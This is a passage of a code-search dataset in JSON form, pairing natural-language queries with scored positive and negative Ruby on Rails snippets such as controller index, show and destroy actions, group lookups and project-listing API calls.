= ObjetivoNegocio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @objetivo_negocios }\n end\n end", "title": "" }, { "docid": "8128c2923b8591c27614c96783b9267f", "score": "0.558723", "text": "def index\n @fresh = @user.rsvps.unresponded.future\n @all = @user.rsvps.actioned.paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @rsvps }\n end\n end", "title": "" }, { "docid": "966d481515b9de19d36cdb05dd4cdf1a", "score": "0.5585015", "text": "def show\n @srvr = Srvr.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @srvr }\n end\n end", "title": "" }, { "docid": "bb8ce1407367b23c22b9187c9b4897be", "score": "0.55792654", "text": "def show\n @equivalencia = Equivalencia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @equivalencia }\n end\n end", "title": "" }, { "docid": "77354706e5c1e0239065b3ac398be356", "score": "0.557787", "text": "def show\n @rsvp = Rsvp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @rsvp }\n end\n end", "title": "" }, { "docid": "65a8a4925c079d9bde1517d0524e400c", "score": "0.5576366", "text": "def destroy\n @vendedor = Vendedor.find(params[:id])\n @vendedor.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_vendedores_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "d595e6f64827b5c876ef29b6c5fc4d47", "score": "0.55736905", "text": "def show\n @vdig = Vdig.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vdig }\n end\n end", "title": "" }, { "docid": "783030805c32708073f4a5cfa9cc1eb6", "score": "0.5567077", "text": "def index\n @venues = current_user.venues\n end", "title": "" }, { "docid": "0a441612e43025e7ebbbadc190ad69ca", "score": "0.55654657", "text": "def index\n @avisos = @pizarra.avisos\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @avisos }\n end\n end", "title": "" }, { "docid": "73c0abb2fc1fdd887d95105093c8aafd", "score": "0.5563491", "text": "def show\n @orden = Orden.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @orden }\n end\n end", "title": "" }, { "docid": "0d5613077b028fac885591800ee4e229", "score": "0.5560615", "text": "def index\n @versions = @page.versions\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @versions }\n end\n end", "title": "" }, { "docid": "8e3233c333371c860eac302ac2a6d8b8", "score": "0.5559776", "text": "def show\n @estado = Estado.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @estado }\n end\n end", "title": "" }, { "docid": "b012c77def0f1e77672aed7b4272d084", "score": "0.55585927", "text": "def index\n @election_events = ElectionEvent.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @election_events }\n end\n end", "title": "" }, { "docid": "26c01e513d0e46b21b6a75266b2240ab", "score": "0.55448276", "text": "def index\n @vaccineregs = Vaccinereg.all\n end", "title": "" }, { "docid": "18e414375f55174b9b9edcdc527b8a6e", "score": "0.5543883", "text": "def download_xml\r\n\t\turi = URI.parse(\"http://www.esmadrid.com/opendata/turismo_v1_es.xml\")\r\n\t\tresponse = Net::HTTP.get_response(uri)\r\n\t\tcontent = response.body\r\n\r\n\t\txml = REXML::Document.new(content)\r\n\r\n\t\treturn xml\r\n\tend", "title": "" }, { "docid": "2f6ec2162b67581f775b2b51dcc03b38", "score": "0.553868", "text": "def show\n @estados_usuario = EstadosUsuario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @estados_usuario }\n end\n end", "title": "" }, { "docid": "8b7cf4f54b13687a593a5b98172b9bdf", "score": "0.5537526", "text": "def index\n # Most recently created RSVPs will show on top of the list\n @rsvp_lists = @event.rsvp_lists\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: rsvps }\n end\n end", "title": "" }, { "docid": "c741900ec3e7005ee5140d71bc846f49", "score": "0.5534222", "text": "def index\n @revistas = Revista.all\n end", "title": "" }, { "docid": "3878b37a7fc16b92ced79910a13ee129", "score": "0.55338377", "text": "def index\n @segments = Segment.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @orgadmin_segments }\n end\n end", "title": "" }, { "docid": "56acefdd2fbf82a15aa53b093f24fb09", "score": "0.553185", "text": "def show\n @vakken = Vakken.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vakken }\n end\n end", "title": "" }, { "docid": "9aa9423dc761bd92c8be9def31eb4292", "score": "0.55283225", "text": "def show\n @vurl = Vurl.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vurl }\n end\n end", "title": "" }, { "docid": "b98e3dcea771cbd752484ad412e20b30", "score": "0.55260175", "text": "def show\n @articulos_cliente = ArticulosCliente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @articulos_cliente }\n end\n end", "title": "" } ]
822dd92dca3f8c4fdba1aecfa804cf64
returns a group by uuid
[ { "docid": "aa6171c830221679703f1dc63bf594f0", "score": "0.66841215", "text": "def get_group group_uuid\n group_uuid = @everyone_group if group_uuid.blank?\n \n return group_uuid if group_uuid.is_a?(Group)\n\n tmp = @groups.find{|grp|grp.uuid == group_uuid}\n \n raise \"unknown group or user with id #{group_uuid}\" unless tmp\n \n tmp\n end", "title": "" } ]
[ { "docid": "c84f372196b5428c8322fa7ea28c3887", "score": "0.7046583", "text": "def get_group_by_id(id)\n $r.hgetall(\"group:#{id}\")\n end", "title": "" }, { "docid": "583c50761e69d77515a300836768f605", "score": "0.6679724", "text": "def group_uuid\n @os_aws.group_uuid\n end", "title": "" }, { "docid": "fc478c326104d8a3621ec6ba36a5d467", "score": "0.6480467", "text": "def group\n Group.get!(gidnumber)\n end", "title": "" }, { "docid": "abb95e35343e6077fcddc8c8092538ac", "score": "0.6434904", "text": "def store_group(uuid)\n Uploadcare::Group.store(uuid)\n end", "title": "" }, { "docid": "a0a7c12b171f58bd1f266d6227411f32", "score": "0.630294", "text": "def group\n object.group.id\n end", "title": "" }, { "docid": "bbf0d3366bf7097bc67c966ca561f11f", "score": "0.6292889", "text": "def group\n return if record.respond_to?(:where)\n record.group\n end", "title": "" }, { "docid": "aad9a3cb5d5cb07ec64f619772d07294", "score": "0.6282671", "text": "def get_group\n send_request(FUNCTION_GET_GROUP, [], '', 4, 'k4')\n end", "title": "" }, { "docid": "7cd2b55af6ee177e404469c44eae2f97", "score": "0.6279875", "text": "def find_group(id)\n id = id.to_s\n groups.select{|gr| gr.id == id}.first\n end", "title": "" }, { "docid": "618812b7dfaabd65c306e20f1d00ae3c", "score": "0.6261029", "text": "def get group_identifier\n groups.fetch self.class.identifierize(group_identifier), nil\n end", "title": "" }, { "docid": "503af854b005e4098bcad4bef3d3039a", "score": "0.6242065", "text": "def get_group_by_id(id)\n get(\"/groups/#{id}\")\n end", "title": "" }, { "docid": "4f574777edac4cfc8c6c158a07478ab1", "score": "0.6195653", "text": "def get_group(string); end", "title": "" }, { "docid": "b2df9569984bae3e3df069bca8116941", "score": "0.6175715", "text": "def group(store)\n groups.find_by(store: store)\n end", "title": "" }, { "docid": "01c219df5e6c2b86d7deecd43daddf4a", "score": "0.6156621", "text": "def groupFromNetId _args\n \"groupFromNetId _args;\" \n end", "title": "" }, { "docid": "f4613a5d2f0c354a5b0cee54486a5c25", "score": "0.6137292", "text": "def group_for_id(id)\n find_groups if @groups.nil?\n @groups.detect { |g| g.include? id }\n end", "title": "" }, { "docid": "c43eac34a423404e56a1bcc2d7efa208", "score": "0.61287874", "text": "def key\n 'groupid'\n end", "title": "" }, { "docid": "14d760f55a4cbd29d1ac0ce77c76c63c", "score": "0.60975575", "text": "def async_group &block\n em_get( \"/clients/#{uuid}/group\") do |response|\n group = Group.new( response[:content] )\n block.call( group )\n end\n end", "title": "" }, { "docid": "9494534ddafdad27f17a23ae41cf7b10", "score": "0.6063332", "text": "def group; Group.get(self.group_id); end", "title": "" }, { "docid": "dd7bf01948ddac5267fc3c868b82a434", "score": "0.60490495", "text": "def group\n klass.collection.group(\n :key => field_list,\n :cond => selector,\n :initial => { :group => [] },\n :reduce => Javascript.group\n ).collect do |docs|\n docs[\"group\"] = docs[\"group\"].collect do |attrs|\n Mongoid::Factory.from_db(klass, attrs)\n end\n docs\n end\n end", "title": "" }, { "docid": "5ffddfcc7395d162577af0bc608ed236", "score": "0.6043851", "text": "def group(id)\n result = connection.get(\"groups/#{id}\")\n result.is_a?(Array) ? result[0] : result\n end", "title": "" }, { "docid": "647c2ef33b1686ee2aa6a03fbac4a815", "score": "0.6008504", "text": "def group_by_slug(group_slug)\n get(\"/v1/groups/find\", slug: group_slug)\n end", "title": "" }, { "docid": "067b9354a6ea7c47137f743d3b1dfcc5", "score": "0.6002471", "text": "def groups\n group_ids.split(',').inject(Array.new) do |arr,gid|\n arr << Ecore::Group.where(:id => gid).first\n end\n end", "title": "" }, { "docid": "c6cada2c6e3c214c4858f0cdfa6871d8", "score": "0.6001637", "text": "def group_by_field\n self.find_field(self.group_by_field_name)\n end", "title": "" }, { "docid": "bba1435ac321119e183b7312ca7c84d1", "score": "0.5983728", "text": "def group_key(id)\n nil\n end", "title": "" }, { "docid": "e845b0e4c2f098de13f56ea9ee7d91c6", "score": "0.5946039", "text": "def get_groups_by_parent parent_group_uuid\n parent_group_uuid = parent_group_uuid.uuid if parent_group_uuid.is_a?(Group)\n \n @resources.find_all{|res|res.parent_uuid == parent_group_uuid && (name.blank? || res.name == name)}\n end", "title": "" }, { "docid": "8f970e5ed9e2981516687345f85415fc", "score": "0.59167355", "text": "def get_groups\n `id -nG #{name}`.split(' ')\n end", "title": "" }, { "docid": "83c0e15b521fb2cb3fd111a73bfb191f", "score": "0.5913302", "text": "def test_it_can_group_by\n groups = FinderClass.group_by(@items.all, :merchant_id)\n assert_instance_of Hash, groups\n assert_equal 12334141, groups.keys.first\n assert_instance_of Item, groups.values.first.first\n end", "title": "" }, { "docid": "eae4402b47292b1f18cc24a00323dde3", "score": "0.5909776", "text": "def group_creator\n group = Random.new.rand(1..3)\n return group\nend", "title": "" }, { "docid": "ac7dd9e4fd6edbf0063d7738e7539290", "score": "0.5905889", "text": "def group_create(element)\n name = element[\"group\"]\n auth = element[\"auth\"]\n body = {\n \"jsonrpc\" => \"2.0\",\n \"method\" => \"hostgroup.create\",\n \"params\" => {\n \"name\" => name\n },\n \"auth\" => auth,\n \"id\" => rand(9999)\n }\n result = json_body(body)\n # puts result\n result = result[\"groupids\"]\n result = result[0]\n # puts result\n # return will be group id\n return result\nend", "title": "" }, { "docid": "bc70a9c862355b9ffa17bc2df02ab7ae", "score": "0.58920556", "text": "def group\n @group\n end", "title": "" }, { "docid": "68d5c8a7ce1538b84bc6ccaa262eb314", "score": "0.58778834", "text": "def group_by\n end", "title": "" }, { "docid": "330f86bf0dd3700da50d4b316ca18668", "score": "0.5866317", "text": "def guest_group\n Group.find(:first, :conditions => \"#{self.class.primary_key}=#{self.id} AND name='Guest'\")\n end", "title": "" }, { "docid": "75a0b06adfab354b9512f0a855396fbd", "score": "0.5843833", "text": "def group_by\n\n end", "title": "" }, { "docid": "c5ba8971da4c4e45a06ff2966eb662a8", "score": "0.58375937", "text": "def group\n @group ||= Group.new @instance, group_id\n end", "title": "" }, { "docid": "7e471ea2a95ef140265157991f3ad7a8", "score": "0.58109665", "text": "def group\n @group ||= producer.groups.first\n end", "title": "" }, { "docid": "ed63fae705cd3b3d350538300cf7b23b", "score": "0.58084804", "text": "def get_aggregate_uuid(d = domain)\n uuid\n end", "title": "" }, { "docid": "4da97ed202429f194992dd77f62577c4", "score": "0.5803725", "text": "def get_group_by_group_id(group_id)\n id = $r.get(\"group_id.to.id:#{group_id}\")\n return nil if !id\n get_group_by_id(id)\n end", "title": "" }, { "docid": "ddc5510a8c33c7e41542ff382e390405", "score": "0.5799883", "text": "def GetGroup id\n\n APICall(path: \"groups/#{id}.json\")\n\n end", "title": "" }, { "docid": "1049b04c2c3d08727e7ae9944b312f40", "score": "0.57952684", "text": "def group(group: 'group_A')\n fetch(\"world_cup.groups.#{group}\")\n end", "title": "" }, { "docid": "3f61e850978904e04922de85654a4ef9", "score": "0.5782824", "text": "def groups\n @groups ||= @csv.group_by { |row| row[:id] }\n end", "title": "" }, { "docid": "1bd89d5f1a677066910559895fe12804", "score": "0.5768679", "text": "def singleton_group\n with_endpoint do |endpoint|\n endpoint.find_singleton_group_by_actor_id(@id)\n end\n end", "title": "" }, { "docid": "6262c40bcfefba0a284a6aa131d121ff", "score": "0.576855", "text": "def group_ids(table)\n @group_ids ||= {}\n @group_ids[table] ||=\n table.to_s.classify.constantize.\n where(\"#{type_tag}_id\" => id).\n order(user_group_id: :asc).distinct.\n pluck(:user_group_id)\n end", "title": "" }, { "docid": "dbd594bd799176160519eeebed3acd02", "score": "0.57593167", "text": "def delete_group(uuid)\n Uploadcare::Group.delete(uuid)\n end", "title": "" }, { "docid": "4c91788c407d6ad994d9f3bede7ff24f", "score": "0.57552654", "text": "def group(name)\n group = name if name.kind_of? Salticid::Group\n group ||= @salticid.group name\n group.hosts |= [self]\n @groups |= [group]\n group\n end", "title": "" }, { "docid": "0f7a6710a3221108a062e46f59c37652", "score": "0.5753472", "text": "def get_subgroups(group_uuid)\n @subgroups ||= []\n\n subgroups = Group.any_of(:groups_above => group_uuid).entries\n return if subgroups.first.nil?\n subgroups.each do |subgroup|\n @subgroups << subgroup.name\n get_subgroups(subgroup.uuid)\n end\n end", "title": "" }, { "docid": "0f7a6710a3221108a062e46f59c37652", "score": "0.5753472", "text": "def get_subgroups(group_uuid)\n @subgroups ||= []\n\n subgroups = Group.any_of(:groups_above => group_uuid).entries\n return if subgroups.first.nil?\n subgroups.each do |subgroup|\n @subgroups << subgroup.name\n get_subgroups(subgroup.uuid)\n end\n end", "title": "" }, { "docid": "fed8e925c569907efec1557c2ed8cc0d", "score": "0.57251626", "text": "def group\n @group\n end", "title": "" }, { "docid": "eccf072904069100f3121fa79aef5af1", "score": "0.5724718", "text": "def group name\n TetCore.group(name) { yield }\nend", "title": "" }, { "docid": "3669a5730ca7d539014f3b50ffb64114", "score": "0.57238567", "text": "def get_group_by_name(groupname)\n return @grouphash[groupname]\n end", "title": "" }, { "docid": "b687366d1874991fd07f06f9fa856d33", "score": "0.57082623", "text": "def get_group_by\n @group_by\n end", "title": "" }, { "docid": "3b2ec4c944a0f591407d1d84bf185f11", "score": "0.5702425", "text": "def find_group(name)\n NetCDF::Group.new(@netcdf_elmt.findGroup(name))\n end", "title": "" }, { "docid": "46bc50a69da10e5ea9ac8dde9c4a6750", "score": "0.56988376", "text": "def groups\n UserGroups.new(:id => id).get.items\n end", "title": "" }, { "docid": "b71431dbcbeb29213a0db559310251f7", "score": "0.56975514", "text": "def get_subscribers who_uuid\n who_uuid = who_uuid.uuid if who_uuid.is_a?(Group)\n @groups.find_all{|group|group.member_uuids.find{|uuid|uuid == who_uuid}}\n end", "title": "" }, { "docid": "5abcc40205747a9697c783c057499d93", "score": "0.5693404", "text": "def [](group_id)\n all[group_id]\n end", "title": "" }, { "docid": "4100169916d4b83af5801992f5289689", "score": "0.5684598", "text": "def uuid\n group_1 = 8.times.with_object(\"\") { |_, string| string << HEXADEMICAL.sample } # => \"0a580bd3\"\n group_2 = 4.times.with_object(\"\") { |_, string| string << HEXADEMICAL.sample } # => \"ad8e\"\n group_3 = 4.times.with_object(\"\") { |_, string| string << HEXADEMICAL.sample } # => \"4aa1\"\n group_4 = 4.times.with_object(\"\") { |_, string| string << HEXADEMICAL.sample } # => \"b825\"\n group_5 = 12.times.with_object(\"\") { |_, string| string << HEXADEMICAL.sample } # => \"6442e98450ac\"\n\n \"#{group_1}-#{group_2}-#{group_3}_#{group_4}-#{group_5}\" # => \"0a580bd3-ad8e-4aa1_b825-6442e98450ac\"\nend", "title": "" }, { "docid": "3651d43b63f486d14a5efc3bd0f34fe1", "score": "0.5681518", "text": "def group\n return nil if item_type != 'group'\n direct_group\n end", "title": "" }, { "docid": "7e8c4f46b75a6e7c7fa93d5291382bef", "score": "0.5670109", "text": "def groups\n @groups ||= {}\n end", "title": "" }, { "docid": "5f025711f81b73f0dfc3a1d9615bb0e6", "score": "0.5670104", "text": "def group_by_id(instances)\n instances.group_by do |i|\n new_resource.unique_fields.map { |f| i['properties'][f] }\n end\n end", "title": "" }, { "docid": "17bb0144b52707f84b516c130e47ded1", "score": "0.56630677", "text": "def group_id\n \tregisterable.class.name == \"Group\" ? registerable.id : nil\n end", "title": "" }, { "docid": "66ae009dd60f38148692ff4d5961d522", "score": "0.56560594", "text": "def group_ids_by_name\n reversed = assignment.groups.pluck(:group_name, :id).to_h\n respond_to do |format|\n format.xml do\n render xml: reversed.to_xml(root: 'groups', skip_types: 'true')\n end\n format.json do\n render json: reversed.to_json\n end\n end\n end", "title": "" }, { "docid": "d0bb365751d6f39fb14b62b8f01172c1", "score": "0.56433636", "text": "def group_id\n @attributes[:group_id]\n end", "title": "" }, { "docid": "d0bb365751d6f39fb14b62b8f01172c1", "score": "0.56433636", "text": "def group_id\n @attributes[:group_id]\n end", "title": "" }, { "docid": "d0bb365751d6f39fb14b62b8f01172c1", "score": "0.56433636", "text": "def group_id\n @attributes[:group_id]\n end", "title": "" }, { "docid": "f0cda37d9fe216069a12103b11644fa8", "score": "0.56426454", "text": "def group\n @group ||= Innsights::Fetchers::Group.new(@group_object) if @group_object\n end", "title": "" }, { "docid": "bf5160d3ea93a281995b8c4a352df149", "score": "0.5638418", "text": "def [](name)\n @groups[name]\n end", "title": "" }, { "docid": "0e11e18d88483c2f0e645becde4fa719", "score": "0.56207013", "text": "def get_group(gid)\n\t\t\t@group_name=GROUPS[gid.to_s]\n\t\tend", "title": "" }, { "docid": "b7b5c7c0095877fbdf99ddbe0f619f74", "score": "0.5610272", "text": "def groups\n return [] if new_record?\n cached_groups do\n fetch_groups!\n end\n end", "title": "" }, { "docid": "dc734dde9caa7b2802198adfe32699ad", "score": "0.5602355", "text": "def groups()\n id_list = SQLQuery.new.get('groups_handler', ['group_id']).where.if('user_id', @id).send\n groups_list = []\n id_list.each do |id|\n groups_list << Groupchat.get(id['group_id'])\n end\n return Sorter.last_interaction(groups_list)\n end", "title": "" }, { "docid": "339fd35fb0f880ba4266eb4d02d54e67", "score": "0.56017154", "text": "def groups\n config.redis_connection.smembers \"#{config.prefix}:groups\"\n end", "title": "" }, { "docid": "c0bdf1298ba2067cc3d80097a1579555", "score": "0.5593047", "text": "def async_selected_group &block\n em_get(\"/clients/#{uuid}/selected_group\") do |response|\n group = Group.new( response[:content] )\n block.call( group )\n end\n end", "title": "" }, { "docid": "1ac6233270afa0637ea0cf8914a96ddc", "score": "0.5589605", "text": "def group_id\n super\n end", "title": "" }, { "docid": "bb823bf64575a7f4f987a28cf81e9424", "score": "0.558042", "text": "def by_uuid(id)\n DB_UUID[id]\n end", "title": "" }, { "docid": "8cba7bb396c7c8890d70d54db052ee6a", "score": "0.55650973", "text": "def list_group\n RequestListGroup.where(:request_id => id).last\n end", "title": "" }, { "docid": "c9436ff0bf2120da82a98f822f4b1e93", "score": "0.556091", "text": "def groups\n c = Hash.new\n @up.keys.each{|key|\n c.append(self.find(key),(key))\n }\n return c.values\n end", "title": "" }, { "docid": "18f6a2c2af2278e40f4b53d8774e2dc1", "score": "0.55323786", "text": "def new group_identifier, object_identifier_or_array = []\n groups.store self.class.identifierize(group_identifier), self.class.identifier_collect(object_identifier_or_array)\n end", "title": "" }, { "docid": "fc8fc090d6438c43bd0cd17e10795726", "score": "0.55322266", "text": "def group\n @group.name\n end", "title": "" }, { "docid": "9880d174738840c3a1a38d7fcf108248", "score": "0.55313677", "text": "def group_id\n get_info[:groupID]\n end", "title": "" }, { "docid": "280784b2646caedeb8af16c04e20b245", "score": "0.5526529", "text": "def group\n return @group\n end", "title": "" }, { "docid": "280784b2646caedeb8af16c04e20b245", "score": "0.5526529", "text": "def group\n return @group\n end", "title": "" }, { "docid": "caaf319a4b8cefab9d71019d2b8f47b8", "score": "0.55260223", "text": "def get_group (pack)\n if !pack.group_id.empty?\n group_id = pack.group_id\n else\n group_id = Chef::Config[:register]\n end\n return group_id\n end", "title": "" }, { "docid": "779ddce6df3ee110fcef2bd51841eeb4", "score": "0.55177397", "text": "def call(id)\n res = client.get(\"/api/rest/v1/groups/#{id}.json\")\n return nil if !res || res.empty?\n\n BrickFTP::Types::Group.new(**res.symbolize_keys)\n end", "title": "" }, { "docid": "5925ecc8fcc0bbc49c87e8dbe88a76d1", "score": "0.5511494", "text": "def show_group\r\n show_group_by_id()\r\n end", "title": "" }, { "docid": "a34a0333b1bab87a7b70197d7d3b23fd", "score": "0.5504584", "text": "def group\n case self.vlabel_group\n when @@geo_route_vlabel_group\n group_name = $1\n else\n group_name = self.vlabel_group\n end\n Group.find_by_app_id_and_name(self.app_id, group_name)\n end", "title": "" }, { "docid": "39ebf5216b5de5b350b3a57e20d4f5f3", "score": "0.5492486", "text": "def grouping\n @grouping ||= :clustered\n end", "title": "" }, { "docid": "272af5a7a62def2748ec96a72bc0e561", "score": "0.548825", "text": "def groups\n hyrax_groups.map(&:name)\n end", "title": "" }, { "docid": "abd3371c618cac85462380d9298b5391", "score": "0.54750264", "text": "def get_attribute_group(id)\n @client.raw('get', \"/config/attribute-groups/#{id}\")\n end", "title": "" }, { "docid": "ec772fafcbd547aec575922b31903c22", "score": "0.5472297", "text": "def group_by(collection, grouping_key)\n [].tap do |providers| #building the returned Array\n extract_uniq_values_for_key(collection, grouping_key).each do |provider_name|\n current_provider_array, collection = collection.partition{|h| h[grouping_key] == provider_name} #reducing the collection\n providers << current_provider_array\n end\n end\nend", "title": "" }, { "docid": "411409c81f02c66b54b910e8c78fdd6d", "score": "0.54712427", "text": "def group_name\n data[:group_name]\n end", "title": "" }, { "docid": "ec4bc0a883c957c75a95e3aa3ff4f56e", "score": "0.54660416", "text": "def get_group_id(group_set_id, group_name)\n list_groups_in_group_set = HTTParty.get(\n \"#{$canvas_url}/api/v1/group_categories/#{group_set_id}/groups\",\n headers: { \"authorization\" => \"Bearer #{$canvas_token}\" }\n )\n\n group_data = list_groups_in_group_set.parsed_response\n group_id = nil\n\n group_data.each do |group_data_info|\n if group_data_info[\"name\"] == group_name\n group_id = group_data_info[\"id\"] \n end\n end\n\n return group_id\nend", "title": "" }, { "docid": "a9c563692236d877624ccf6c79ffa1b0", "score": "0.5458585", "text": "def get_group_by_name(name)\n @groups.each do |group|\n if group[0][\"name\"].downcase == name.downcase\n return group\n end\n end\n end", "title": "" }, { "docid": "6d70ef9f3d92d9b90fbd08895248e06f", "score": "0.54524666", "text": "def groupby_fields\n ids = {}\n ids.merge!(make_grp_prj_periods[0])\n ids.merge!(make_grp_prj_nodes[0])\n { '_id' => ids }\n end", "title": "" }, { "docid": "4ff6a47ae08a7d439ee856c3e67b7fa2", "score": "0.5451622", "text": "def group_name\n group.name if group\n end", "title": "" }, { "docid": "90e34aaa1f468adf829fc5629ecedcc7", "score": "0.5449169", "text": "def groups\n groups = []\n relations = self.group_relations\n relations.each do |r|\n groups.push r.group\n end\n groups\n end", "title": "" }, { "docid": "0ebd9ce4658d43272022a065e22cbc44", "score": "0.54343873", "text": "def personal_groups\n Group.find_personal self.id\n end", "title": "" }, { "docid": "ef820149342d918a767b4cb8c9ec4171", "score": "0.5433079", "text": "def groups\n find_groups if @groups.nil?\n @groups\n end", "title": "" }, { "docid": "5fafd9d8f11424bedc4440800c74f299", "score": "0.54195374", "text": "def group(name = nil)\n if name\n @groups << name\n self.class.groups[name] ||= []\n self.class.groups[name] << self\n else\n @groups\n end\n end", "title": "" }, { "docid": "4f704ad64ff663273ce0f9b3c71c0d87", "score": "0.5418153", "text": "def getGroup( group_id)\n params = Hash.new\n params['group_id'] = group_id\n return doCurl(\"get\",\"/group\",params)\n end", "title": "" }, { "docid": "2fbec83385c41d7997118f1c5b217e89", "score": "0.5417772", "text": "def new_group(key)\n []\n end", "title": "" }, { "docid": "aef495553423182afb6809f95620e655", "score": "0.5417695", "text": "def [](group_key)\n key = Levels::Key.new(group_key)\n Group.new(key)\n end", "title": "" }, { "docid": "ce4c3553f5cabd2adee8ba29cf8f3561", "score": "0.54142874", "text": "def get_by_uuid(uuid)\n network=connection.lookup_network_by_uuid(uuid)\n return network\n # new(:raw => network)\n end", "title": "" }, { "docid": "fcaeb91c7c1f576224cb97e72d53ecc8", "score": "0.54087985", "text": "def groups\r\n @groups ||= fetch_groups\r\n end", "title": "" } ]
c40f551807fbd11ce05fd710c5a19769
GET /projects/1.json will be called every "eta" seconds (AJAX) until there is output associated with the open project.
[ { "docid": "c5c2bd91debfd40f72476bc891a7b9ed", "score": "0.597105", "text": "def show\n respond_to do |format|\n format.json { render json: @project, only: [:eta, :output, :id] }\n end\n end", "title": "" } ]
[ { "docid": "a2f1561ec622a3b527fb7513190ec135", "score": "0.6790745", "text": "def grab_project\n project_size = Project.all.length\n current_offset = (params[:payload][:pagenumber] - 1)*10\n direction = params[:payload][:direction]\n\n respond_to do |format|\n format.json {\n\n if current_offset + direction < project_size && current_offset + direction >= 0\n offset = current_offset + direction\n @projects = Project.all.offset(offset).take(10)\n render :json => @projects\n else \n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n \n }\n end\n end", "title": "" }, { "docid": "0e505819a12e5e3076b53f7ea7b97815", "score": "0.67752355", "text": "def index\n @projects = @projects.includes(:latest_iteration).where(:tenant_id => current_user.tenant).order(\"name\").page(params[:page]).per(DEFAULT_ROWS_PER_PAGE)\n\n respond_with @projects\n end", "title": "" }, { "docid": "29a5e07c559435e2b8d23fa49f0303ed", "score": "0.6642195", "text": "def getprojects()\n printRepoHeader\n \n loop do\n # Print each of the new returned repositories\n begin\n get.each do |repo|\n printRepo(repo) if (@slugs.add?(repo['slug']))\n\n # Flush to prevent data loss if we crash\n STDOUT.flush\n end\n rescue Exception => msg\n STDERR.puts \"WARNING: Poll failed at #{Time.now}\"\n STDERR.puts msg\n end\n\n # Poll every 5 minutes\n sleep 300\n end\n end", "title": "" }, { "docid": "8bc096a51ce29543b71328b57b935869", "score": "0.65141743", "text": "def index\n @projects = Project.all\n render json: @projects, status: :ok\n end", "title": "" }, { "docid": "242cd4a341d08e8e55308bf1008c2788", "score": "0.6506451", "text": "def index\n # @projects = @current_user.projects\n @projects = Project.all\n json_response(@projects)\n end", "title": "" }, { "docid": "4f5630e29821bef6d57cb56e656012a4", "score": "0.6485309", "text": "def index\n @projects = Project.all\n render json: @projects\n end", "title": "" }, { "docid": "0113ab2129af3339e344abc8a6fed68b", "score": "0.64800805", "text": "def pull_projects_harvest\n harvest_uri = URI(\"https://api.harvestapp.com/v2/projects?updated_since=#{last_updated_time}\")\n\n Net::HTTP.start(harvest_uri.host, harvest_uri.port, use_ssl: true) do |http|\n harvest_request = Net::HTTP::Get.new harvest_uri\n\n harvest_request[\"Authorization\"] = \"Bearer #{harvest_access_token}\"\n harvest_request[\"Harvest-Account-ID\"] = harvest_account_id\n harvest_request[\"User-Agent\"] = harvest_user_agent\n \n harvest_response = http.request harvest_request\n json_response = JSON.parse(harvest_response.body)\n return json_response[\"projects\"]\n end\n end", "title": "" }, { "docid": "fcf2c9439b93a0cf43436a8511c28558", "score": "0.6480054", "text": "def index\n @projects = Project.visible\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end", "title": "" }, { "docid": "257e2c4d4035fa64af906719cb3462b9", "score": "0.6478803", "text": "def show\n unless @project.latest_iteration\n redirect_to(projects_path)\n return\n end\n\n cookies[:owner] = {:value => params[:owner], :expires => 6.month.since} if params[:owner]\n cookies[:show_pushed_stories] = {:value => params[:show_pushed_stories], :expires => 6.month.since} if params[:show_pushed_stories]\n cookies[:show_accepted_stories] = {:value => params[:show_accepted_stories], :expires => 6.month.since} if params[:show_accepted_stories]\n\n @owner = cookies[:owner] || \"All\"\n @iteration = IterationDecorator.decorate(select_iteration(@project, params))\n @project.touch_user_project(current_user)\n respond_with @project\n end", "title": "" }, { "docid": "b2d778e1a6b6df24139d1f5864dedb0f", "score": "0.6478071", "text": "def list\n get 'projects'\n end", "title": "" }, { "docid": "d1fbe60a4747b1984389dcec8756658a", "score": "0.64755213", "text": "def all_projects()\n @endpoint = \"/projects.json?limit=100\"\n setup_get\n res = @http.request(@req)\n return JSON.load(res.body)[\"projects\"].sort_by { |proj| proj[\"name\"] }\n end", "title": "" }, { "docid": "723f580541bd41ab30bb2973cfdea294", "score": "0.6459262", "text": "def listprojects\n get('listprojects.json')['projects']\n end", "title": "" }, { "docid": "cb65a0549e3ddc3b3e06f30bffc742b0", "score": "0.6412206", "text": "def projects\n request(method: 'getAllProjects')\n end", "title": "" }, { "docid": "068f919d1ab5e4489ef7535f6d7fd693", "score": "0.64001614", "text": "def index\n @projects = Project.all_for_user(current_user.id)\n render json: @projects.to_json(include: :project_detail), status: 200\n end", "title": "" }, { "docid": "c0e89b8983c73cd4e399416b645bcda9", "score": "0.6390703", "text": "def index\n \n @workspaces = current_user.workspaces\n # debugger\n @projects = Project.where(:workspace_id => @workspace)\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end", "title": "" }, { "docid": "39a6d91fd67b6033e3d3ed8a9b98d0bc", "score": "0.6390338", "text": "def index\n \n require 'socket'\n local_ip_address = UDPSocket.open {|s| s.connect '64.233.187.99', 1; s.addr.last}\n @host_url = \"http://#{local_ip_address}:#{PORT}\"\n @title = TITLE\n @projects = []\n @projects += CCTray.new.fetch PROJECTS\n end", "title": "" 